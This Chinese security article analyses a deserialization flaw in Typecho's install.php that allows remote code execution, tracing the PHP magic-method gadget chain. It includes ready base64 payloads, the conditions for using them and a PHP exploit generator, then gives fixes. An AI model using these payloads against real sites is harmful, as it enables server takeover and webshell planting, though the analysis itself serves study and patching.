Typecho install.php存在的反序列化漏洞分析(含EXP)

本文作者:王三三,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

0×00 前言

很久没有在安全方面折腾,突然收到“爸爸云”的短信,“您的服务器xxx.xxx.xxx.xxx存在网站后门,为防止黑客进一步入侵,请登录进行查看和处理”。当时正在出差,手头没电脑,草草看了一眼没来得及处理,最近得空研究了研究。常在河边走,哪有不湿鞋,网上已经有该漏洞的详解,仅以此文记录对反序列化漏洞研究的一个学习过程。

0×01 漏洞复现

使用工具:

1、Firefox浏览器+HackBar插件

2、Payload

// 下面这段Payload是执行 phpinfo();

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

使用条件:

1、$_GET[‘finish’] 参数不为空

2、Referer 必须是本站

注:Payload可以通过插入Cookie提交,也可以通过POST提交。

复现:

https://www.wangsansan.com/usr/uploads/2017/11/3402341297.png

0×02 漏洞探索

一开始收到短信,我还以为是评论区造成的。先登陆阿里云后台看看是什么问题。

本以为只是无伤大雅的小洞,看了之后一惊,Webshell,吓得我赶紧登陆服务器,虽然服务器上没什么值得窃取的。

https://www.wangsansan.com/usr/uploads/2017/11/3402341297.png

一句话木马,expsky应该是一个昵称,百度一下。

果然是个昵称,混迹于FreeBuf,最近一篇文章就是关于Typecho反序列化漏洞相关的。本以为是他把我怼了,看了文章之后才发现原来只是漏洞利用检测工具的作者。

在此感谢expsky

从文章中,得知漏洞存在于install.php文件,附上了漏洞检测工具,不过并没有报告漏洞细节。

传送门Typecho漏洞利用工具首发,半分钟完成渗透测试

0×03 漏洞细节

得知漏洞所在文件,接下来就研究研究。

漏洞存在与229-235行。

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

程序要运行到此处需要满足两个条件

1、$_GET[‘finish’] 参数不为空

2、Referer 必须是本站

这段代码第一行先调用了Typecho_Cookie::get()方法获取$GET[‘\_typecho_config’],跳转进去可以看一下

可以看到,如果cookie里不存在‘__typecho_config’字段,则从$_POST里查找。

所以在利用的时候,可以直接使用POST提交‘__typecho_config’

接着往下看

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

获取到值之后,先base64解码,然后再用unserialize反序列化,赋值给$config

看到这,那我们input的内容就是要构造一个‘__typecho_config’,来output我们想要的东西。

继续往下寻找可利用的output的地方。

在反序列化之后,取出$config[‘adapter’]$config[‘prefix’]实例化了一个Typecho_Db

$db = new Typecho_Db($config['adapter'], $config['prefix']);

继续跟进Typecho_Db

构造函数在Db.php的114行

public function __construct($adapterName, $prefix = 'typecho_')
{
    / 获取适配器名称 /
    $this->_adapterName = $adapterName;

    / 数据库适配器 /
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    / 初始化内部变量 /
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

第120行

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

此处对传入的$adapterName进行了字符串拼接。

如果传入的$adapterName,是一个类,那么在将这个类进行字符串拼接的时候就会触发这个类的__toString()方法

注:这里涉及PHP的魔术方法,简单说一下,魔术方法就是在某些情况下会自动去调用的方法,比如很多面向对象编程语言都存在的构造函数、析构函数等等,都可以理解为魔术方法。

相关方法以及触发条件推荐两个参考链接

PHP 魔术方法

PHP中的魔术方法总结

其实下面这张图已经非常简单明了

https://www.wangsansan.com/usr/uploads/2017/11/2833023194.png

注:图片摘自 [Typecho install.php 后门分析 |王松_Striker – Web安全与前端]

那我们就来全局搜索一下,看看那些类使用了__toString()方法,可以让我们进行利用。

其中有三个类有使用__toString()方法

var/Typecho/Config.php

var/Typecho/Feed.php

var/Typecho/Db/Query.php

其中Config.php里没什么好利用的,我们再看一下Feed.phpQuery.php

在Query.php中存在可以触发_call()的魔术方法,全局搜索跟进_call()魔术方法之后没有可利用的点,我们直接查看Feed.php

Feed.php,在290行

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

这里访问了$item[‘author’]->screenName

我们回顾一下上面说的魔术方法,其中__get()这个方法在读取不可访问的数据时触发

$itemforeach ($this->_items as $item)得来,如果我们给$item[‘author’]设置一个不可访问的属性,那就会触发该类的__get()方法。

到这里,我们缕一缕思路再继续

1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段

2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db

3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法

4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item[‘author’]->screenName

5、当$item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法

好的,至此我们还没有寻找的可利用的output点,我们继续全局搜索一下可利用的 ‘__get()’ 方法

在文件Request.php 267行

public function __get($key)
{
    return $this->get($key);
}

跟进get() 293行

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

这一段的判断条件,都可以控制$value的值

没有问题,$value的值依然在可控范围

继续跟进_applyFilter()

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

在163-164行,使用了array_map()call_user_func()

我们查一下这两个函数分别是什么意思

https://www.wangsansan.com/usr/uploads/2017/11/2833023194.png

https://www.wangsansan.com/usr/uploads/2017/11/2833023194.png

这下就好玩了,这两个函数都是代码执行相关的函数,也就是我们想要的output

刚刚缕了缕思路,我们再来回顾一边

1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段

2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db

3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法

4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item[‘author’]->screenName

5、当$item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法

6、Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在

7、将_params[$key]的值传入_applyFilter()方法,并执行代码

OK.知道条件之后我们就来构造我们的Payload

首先看看我们实际提交的结构

(  // 实例化一个Typecho_Db, 数组必须包含 'adapter'和'prefix'两个键值

    / 
      实例化Typecho_Db时构造函数中进行字符串拼接,
      如果值为对象,则触发该对象的 __toString()魔术方法
     /
    [adapter] => Typecho_Feed Object  
      (
        / 
          在Feed的__toString()魔术方法中,
          290行和358行,访问了$item['author']->screenName
          程序要运行到此处$this->_type必须为 "RSS 2.0"或者"ATOM 1.0"
         /
        [_type:Typecho_Feed:private] => RSS 2.0  

        / 
          当从不可访问的属性中读取,将会触发该类的__get()魔术方法
         /
        [_items:Typecho_Feed:private] => Array
          (
            [0] => Array
              (
                / 
                  'category' 用于分支处理,如果不用于回显数据,此字段可以省略
                   此处需要构造非空数组,且成员值为对象
                 /
                [category] => Array
                  (
                    [0] => Test Object
                      (
                      )
                  )

                / 
                   此处构造满足触发Typecho_Request对象的__get()魔术方法
                 /
                [author] => Typecho_Request Object
                  (  // 必须包含两个键值 '_params'和'_filter'

                    / 
                      @ 此处为触发的关键部分
                      1、由Feed类中访问screName触发Request的__get(),
                         在Request.php的290行传入$key='screenName'
                      2、此时get()函数内  $value='phpinfo()'    // 296-297行
                      3、继续判断了  $value值非数组,且长度大于0  // 307行
                      4、将 $value 传入 _applyFilter()                
                      5、判断 $this->_filter                    // 161行
                      6、遍历 $this->_filter                    // 162行
                      7、$value非数组,执行call_user_func($filter, $value)
                      8、最终执行结果为call_user_func(assert, phpinfo())
                     /
                    [_params:Typecho_Request:private] => Array
                      (
                        [screenName] => phpinfo()
                      )

                    [_filter:Typecho_Request:private] => Array
                      (
                        [0] => assert
                      )
                  )
              )
          )
      )

    // 分支处理
    [prefix] => typecho_
)

上面部分可能注释太多,看起来比较乱,我贴一个没有注释的

(
    [adapter] => Typecho_Feed Object
    (
        [_type:Typecho_Feed:private] => RSS 2.0
        [_items:Typecho_Feed:private] => Array
        (
            [0] => Array
            (
                [category] => Array
                    (
                        [0] => Test Object
                            (
                            )
                    )

                [author] => Typecho_Request Object
                (
                    [_params:Typecho_Request:private] => Array
                        (
                            [screenName] => phpinfo()
                        )

                    [_filter:Typecho_Request:private] => Array
                        (
                            [0] => assert
                        )
                )
            )
        )
    )
    [prefix] => typecho_
)

构造完成,序列化后使用base64加密,得到Payload

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

使用方法看文首 0×01 部分

0×05 编写EXP

<?php
$CMD = 'phpinfo()';

class Typecho_Feed
{
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';

        private $_type;
        private $_items;

        public function __construct() {
                //$this->_type = $this::RSS2;

                $this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}

class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = $GLOBALS[CMD];
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

感谢 王松_Strikerp0

附上参考链接

Typecho install.php 后门分析

Typecho install.php 反序列化导致任意代码执行

0×06 修复方案

删掉根目录下的install.php和install/目录

升级更新至最新版

本文作者:王三三,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

公司总监等高管们要展示其建立企业安全文化方面的努力和作为,使用“感波”沟通平台或“快意!”安宣安全意识宣教方案和服务是最佳方法。

猜您喜欢

适用于任何行业的EHS电子教学课程
钙:ldquo;异常rdquo;引起的OHIP隐私泄露 http://news.securemymind.com/201705302807.html
百余网络安全专家齐聚山西 探讨信息安全防护
CyberSecurity Law Introduction 网络安全法宣传视频系列
HYUNDAI OA-REWARDS
不能忽视的是,大部分的用户并非安全方面的专家,他们并不喜欢电脑被“控制”,就像向往自由的人们不愿意受到各种人身限制一样,
3.15上海金融信息安全论坛顺利召开